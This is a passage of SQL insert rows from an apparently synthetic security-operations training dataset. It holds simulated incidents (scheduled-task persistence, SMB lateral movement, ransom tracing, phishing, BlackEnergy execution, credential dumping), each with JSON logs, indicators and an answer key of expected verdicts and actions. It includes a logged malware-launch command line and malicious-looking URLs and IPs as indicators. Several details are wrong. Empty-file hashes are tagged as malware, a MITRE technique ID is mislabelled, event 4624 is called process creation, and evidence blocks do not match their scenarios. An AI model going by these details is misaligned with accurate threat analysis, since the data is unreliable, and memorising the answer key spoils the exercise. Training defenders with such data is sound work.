(776, 'Establishing Persistence', 'high', 'Network traffic analysis', 'The attackers set up persistence mechanisms using scheduled tasks and registry modifications, ensuring continuous access even after system reboots. Network traffic analysis revealed communication with a known malicious IP and the presence of a suspicious scheduled task and registry modification.', 'Persistence Mechanism', 'T1053 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-23T14:52:30Z\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.45\",\"event\":\"scheduled_task_creation\",\"task_name\":\"UpdateScheduler\",\"task_path\":\"\\\\Microsoft\\\\Windows\\\\UpdateTasks\\\\\",\"registry_modification\":{\"key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"value_name\":\"UpdateHelper\",\"value_data\":\"\\\"C:\\\\Windows\\\\System32\\\\updatehelper.exe\\\"\"},\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"compromised_user\",\"protocol\":\"HTTP\",\"request_url\":\"http://malicious-updates.com/check\"}', '2026-01-11 23:35:35', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP known to be associated with APT campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious payload\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"updatehelper.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unexpected executable found in system directory\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-updates.com/check\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"Domain used for C2 communication in previous attacks\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(777, 'Lateral Movement to Critical Systems', 'critical', 'Network segmentation logs', 'The attackers leveraged compromised credentials to move laterally, reaching critical systems that would amplify the impact of the encryption and pressure JBS Foods into payment.', 'Network Propagation', 'T1021.002 - SMB/Windows Admin Shares', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-10T14:25:37Z\",\"event_type\":\"network_access\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.2.45\",\"protocol\":\"SMB\",\"username\":\"jdoe\",\"action\":\"successful_login\",\"file_accessed\":\"confidential_financials.xlsx\",\"hash\":\"b2a5d6f7c3e9d1b7f4a8e3b9c1d7e7f9\",\"log_id\":\"evt-20231010142537\",\"description\":\"User jdoe successfully accessed critical file on 10.1.2.45 using compromised credentials.\"}', '2026-01-11 23:35:35', '2026-02-16 18:02:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Critical financial server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"Account compromised in recent phishing campaign.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b2a5d6f7c3e9d1b7f4a8e3b9c1d7e7f9\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware payload.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"confidential_financials.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"File contains sensitive financial data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(778, 'Bitcoin Ransom Payment and Fund Tracing - Step 5', 'high', 'Blockchain analysis platforms', 'During the tracing of the $11 million ransom payment, authorities identified a transaction chain where the attackers attempted to obfuscate funds through a series of complex transactions. This step involved multiple Bitcoin addresses and associated transactions, analyzing the flow and linking it to known malicious actor wallets.', 'Financial Transaction Analysis', 'T1483: Data Encrypted for Impact', 1, 'new', NULL, '{\"transaction_id\":\"9b8f82d6755a4cb7b1f2a670c1f9a2f3\",\"source_address\":\"3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5\",\"destination_addresses\":[\"bc1qtz3z0x0l47q8x9kq0n5e6r3j4t8f7n9u3f5h0r\",\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\"],\"amount\":\"0.5 BTC\",\"timestamp\":\"2023-10-12T14:48:00Z\",\"related_ips\":[\"45.76.123.88\",\"10.0.0.23\"],\"file_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"related_domains\":[\"maliciouswallet.com\"],\"usernames\":[\"attacker_user\"]}', '2026-01-11 23:35:35', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.123.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with ransomware operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP used for monitoring transactions\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware payload\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"maliciouswallet.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Analysis Tool\",\"verdict\":\"malicious\",\"details\":\"Domain associated with cryptocurrency laundering\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"attacker_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Behavior Analytics\",\"verdict\":\"suspicious\",\"details\":\"Username linked to unauthorized transactions\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.425Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"9b8f82d6755a4cb7b1f2a670c1f9a2f3\\\",\\\"source_address\\\":\\\"3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5\\\",\\\"destination_addresses\\\":[\\\"bc1qtz3z0x0l47q8x9kq0n5e6r3j4t8f7n9u3f5h0r\\\",\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\"],\\\"amount\\\":\\\"0.5 BTC\\\",\\\"timestamp\\\":\\\"2023-10-12T14:48:00Z\\\",\\\"related_ips\\\":[\\\"45.76.123.88\\\",\\\"10.0.0.23\\\"],\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"related_domains\\\":[\\\"maliciouswallet.com\\\"],\\\"usernames\\\":[\\\"attacker_user\\\"]}\"},{\"timestamp\":\"2026-02-01T20:31:22.425Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"9b8f82d6755a4cb7b1f2a670c1f9a2f3\\\",\\\"source_address\\\":\\\"3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5\\\",\\\"destination_addresses\\\":[\\\"bc1qtz3z0x0l47q8x9kq0n5e6r3j4t8f7n9u3f5h0r\\\",\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\"],\\\"amount\\\":\\\"0.5 BTC\\\",\\\"timestamp\\\":\\\"2023-10-12T14:48:00Z\\\",\\\"related_ips\\\":[\\\"45.76.123.88\\\",\\\"10.0.0.23\\\"],\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"related_domains\\\":[\\\"maliciouswallet.com\\\"],\\\"usernames\\\":[\\\"attacker_user\\\"]}\"},{\"timestamp\":\"2026-02-01T20:30:22.425Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"9b8f82d6755a4cb7b1f2a670c1f9a2f3\\\",\\\"source_address\\\":\\\"3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5\\\",\\\"destination_addresses\\\":[\\\"bc1qtz3z0x0l47q8x9kq0n5e6r3j4t8f7n9u3f5h0r\\\",\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\"],\\\"amount\\\":\\\"0.5 BTC\\\",\\\"timestamp\\\":\\\"2023-10-12T14:48:00Z\\\",\\\"related_ips\\\":[\\\"45.76.123.88\\\",\\\"10.0.0.23\\\"],\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"related_domains\\\":[\\\"maliciouswallet.com\\\"],\\\"usernames\\\":[\\\"attacker_user\\\"]}\"},{\"timestamp\":\"2026-02-01T20:29:22.425Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"9b8f82d6755a4cb7b1f2a670c1f9a2f3\\\",\\\"source_address\\\":\\\"3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5\\\",\\\"destination_addresses\\\":[\\\"bc1qtz3z0x0l47q8x9kq0n5e6r3j4t8f7n9u3f5h0r\\\",\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\"],\\\"amount\\\":\\\"0.5 BTC\\\",\\\"timestamp\\\":\\\"2023-10-12T14:48:00Z\\\",\\\"related_ips\\\":[\\\"45.76.123.88\\\",\\\"10.0.0.23\\\"],\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"related_domains\\\":[\\\"maliciouswallet.com\\\"],\\\"usernames\\\":[\\\"attacker_user\\\"]}\"},{\"timestamp\":\"2026-02-01T20:28:22.425Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"9b8f82d6755a4cb7b1f2a670c1f9a2f3\\\",\\\"source_address\\\":\\\"3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5\\\",\\\"destination_addresses\\\":[\\\"bc1qtz3z0x0l47q8x9kq0n5e6r3j4t8f7n9u3f5h0r\\\",\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\"],\\\"amount\\\":\\\"0.5 BTC\\\",\\\"timestamp\\\":\\\"2023-10-12T14:48:00Z\\\",\\\"related_ips\\\":[\\\"45.76.123.88\\\",\\\"10.0.0.23\\\"],\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"related_domains\\\":[\\\"maliciouswallet.com\\\"],\\\"usernames\\\":[\\\"attacker_user\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(779, 'Initial Access via Phishing Emails', 'high', 'Email logs and employee reports', 'Sandworm initiated their attack with a spear-phishing campaign targeting Ukrainian power company employees. The emails contained malicious attachments that served as the attack\'s entry point.', 'Phishing Attack', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T08:45:00Z\",\"source_ip\":\"185.92.220.54\",\"destination_ip\":\"10.0.0.25\",\"subject\":\"Urgent: Update Required\",\"sender_email\":\"it-support@fakedomain.ua\",\"recipient_email\":\"employee@ukrpower.ua\",\"attachment_name\":\"Update_Instruction.docx\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"email_client\":\"Outlook\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\",\"status\":\"Delivered\"}', '2026-01-11 23:37:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.54\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known Sandworm IP used in previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"it-support@fakedomain.ua\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Spoofed email used in targeted phishing.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Update_Instruction.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Contains macros that attempt to download additional payloads.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Sandworm phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Emails\",\"date\":\"2026-02-01T20:32:22.426Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(780, 'Execution of BlackEnergy Malware', 'critical', 'Endpoint security logs', 'Upon gaining initial access, Sandworm deployed the BlackEnergy malware to the compromised systems, enabling further malicious activities within the network.', 'Malware Deployment', 'T1203 - Exploitation for Client Execution', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-10T14:52:30Z\",\"event_id\":\"4624\",\"event_type\":\"Process Creation\",\"host\":\"compromised-host\",\"source_ip\":\"93.184.216.34\",\"destination_ip\":\"10.0.5.23\",\"user\":\"SYSTEM\",\"process_name\":\"C:\\\\Windows\\\\system32\\\\rundll32.exe\",\"command_line\":\"rundll32.exe C:\\\\Users\\\\Public\\\\blackenergy.dll,Start\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"blackenergy.dll\",\"user_id\":\"S-1-5-18\"}', '2026-01-11 23:37:37', '2026-02-16 18:00:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"93.184.216.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known Sandworm-associated IP used in past malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Registry\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with BlackEnergy malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"blackenergy.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Research Database\",\"verdict\":\"malicious\",\"details\":\"Filename used by BlackEnergy malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.427Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:52:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Process Creation\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"source_ip\\\":\\\"93.184.216.34\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\rundll32.exe\\\",\\\"command_line\\\":\\\"rundll32.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\blackenergy.dll,Start\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"blackenergy.dll\\\",\\\"user_id\\\":\\\"S-1-5-18\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.427Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:52:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Process Creation\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"source_ip\\\":\\\"93.184.216.34\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\rundll32.exe\\\",\\\"command_line\\\":\\\"rundll32.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\blackenergy.dll,Start\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"blackenergy.dll\\\",\\\"user_id\\\":\\\"S-1-5-18\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.427Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:52:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Process Creation\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"source_ip\\\":\\\"93.184.216.34\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\rundll32.exe\\\",\\\"command_line\\\":\\\"rundll32.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\blackenergy.dll,Start\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"blackenergy.dll\\\",\\\"user_id\\\":\\\"S-1-5-18\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.427Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:52:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Process Creation\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"source_ip\\\":\\\"93.184.216.34\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\rundll32.exe\\\",\\\"command_line\\\":\\\"rundll32.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\blackenergy.dll,Start\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"blackenergy.dll\\\",\\\"user_id\\\":\\\"S-1-5-18\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.427Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:52:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Process Creation\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"source_ip\\\":\\\"93.184.216.34\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\rundll32.exe\\\",\\\"command_line\\\":\\\"rundll32.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\blackenergy.dll,Start\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"blackenergy.dll\\\",\\\"user_id\\\":\\\"S-1-5-18\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(781, 'Persistence through Credential Dumping', 'critical', 'Memory forensics and user account monitoring', 'To ensure continued access, Sandworm used BlackEnergy to dump credentials from infected machines, allowing them to escalate privileges and deepen their control.', 'Credential Access', 'T1003.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T13:45:23Z\",\"event_id\":\"4624\",\"system\":{\"hostname\":\"compromised-host\",\"internal_ip\":\"192.168.1.45\",\"os\":\"Windows Server 2016\"},\"user\":{\"username\":\"admin_user\",\"domain\":\"CORPDOMAIN\"},\"process\":{\"name\":\"lsass.exe\",\"pid\":1040,\"command_line\":\"C:\\\\Windows\\\\system32\\\\lsass.exe\"},\"malware\":{\"name\":\"BlackEnergy\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"network\":{\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"185.92.220.25\",\"protocol\":\"TCP\",\"port\":445},\"files\":[{\"filename\":\"dumped_creds.dmp\",\"path\":\"C:\\\\Windows\\\\Temp\\\\dumped_creds.dmp\"}]}', '2026-01-11 23:37:37', '2026-02-16 18:01:00', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.92.220.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known command and control server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"BlackEnergy malware hash\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"dumped_creds.dmp\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"suspicious\",\"details\":\"Credential dump file\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.429Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"hostname\\\":\\\"compromised-host\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"os\\\":\\\"Windows Server 2016\\\"},\\\"user\\\":{\\\"username\\\":\\\"admin_user\\\",\\\"domain\\\":\\\"CORPDOMAIN\\\"},\\\"process\\\":{\\\"name\\\":\\\"lsass.exe\\\",\\\"pid\\\":1040,\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\\\"},\\\"malware\\\":{\\\"name\\\":\\\"BlackEnergy\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.92.220.25\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":445},\\\"files\\\":[{\\\"filename\\\":\\\"dumped_creds.dmp\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumped_creds.dmp\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:31:22.429Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"hostname\\\":\\\"compromised-host\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"os\\\":\\\"Windows Server 